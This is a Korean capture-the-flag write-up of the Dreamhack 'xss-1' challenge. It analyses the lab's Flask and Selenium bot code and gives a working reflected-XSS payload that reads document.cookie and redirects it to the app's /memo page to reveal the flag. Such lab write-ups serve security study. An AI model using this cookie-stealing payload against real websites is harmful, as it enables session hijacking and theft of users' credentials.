[Dreamhack] xss-1

서버 생성 후 페이지에 들어가보면 /vuln, /memo, /flag 페이지로 들어갈 수 있다.

/vuln(xss) page

/vuln(xss) page는 접속하자마자 '1' 이라는 알림창이 뜬다. 접속 url을 보면 파라미터 값에 들어가있는 <script>alert(1)</script> 스크립트가 그대로 실행되는 것을 알 수 있다.

 

/memo

/memo 는 'memo'파라미터의 값인 'hello'가 페이지에 출력된다. 파라미터 값을 'test'로 바꿔서 새로고침하면 'hello' 아래에 'test'가 누적되어 적힌다.

/flag 는 텍스트를 입력할 수 있는 박스와 제출버튼이 있다.

 

코드 분석

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

 

우리는 /flag 페이지 텍스트박스에  <script>location.href = "/memo?memo=" + document.cookie;</script> 를 입력하고 Exploit을 수행할 것이다.

그러면 'POST' 메소드로 요청을 하고 개발자도구로 해당 페이지 코드를 보면 텍스트박스가 request.form에서 name이 'param'라고 되어 있다. 따라서 request.form.get("param")은 우리가 입력한 스크립트이고 param 변수에 들어간다.

그리고 check_xss 함수가 실행되는데 param인자와 name이라는 키에는 'flag'가 value에는 공백을 제거한 'FLAG'가 들어간다.

'FLAG'는 ./flag.txt 파일에서 읽어온다.

 

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

 

check_xss 함수 코드를 보면 첫번째 인자는 param, 두번째 인자는 cookie인 것을 볼 수 있다.

url 변수를 보면 'http://127.0.0.1:8000/vuln?param=' 뒤에 param 값을 URL 인코딩하여 붙인다.

그리고 read_url 함수에 url, cookie인자를 넣어서 요청한다.

url에는 http://127.0.0.1:8000/vuln?param=<script>location.href="/memo?memo=" + document.cookie;</script> 가 들어갈 것이고 cookie에는 flag=FLAG가 들어간다.

 

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

 

read_url 함수는 Selenium을 사용하여 웹 페이지를 열고 지정된 URL에 대한 요청을 수행하는 함수이다.

이 함수를 통해 우리가 /flag에 입력했던 페이지를 다른 사용자가 요청하여 사용자의 쿠키를 탈취하는 시나리오가 완성될 수 있다.

 

/flag에서 스크립트를 제출하면 /vuln 페이지를 통해 스크립트가 그대로 실행되고 스크립트에는 memo 파라미터 값에 cookie를 붙여서 /memo 페이지를 요청한다. 그러면 /memo 페이지에 cookie가 그대로 출력되게 된다.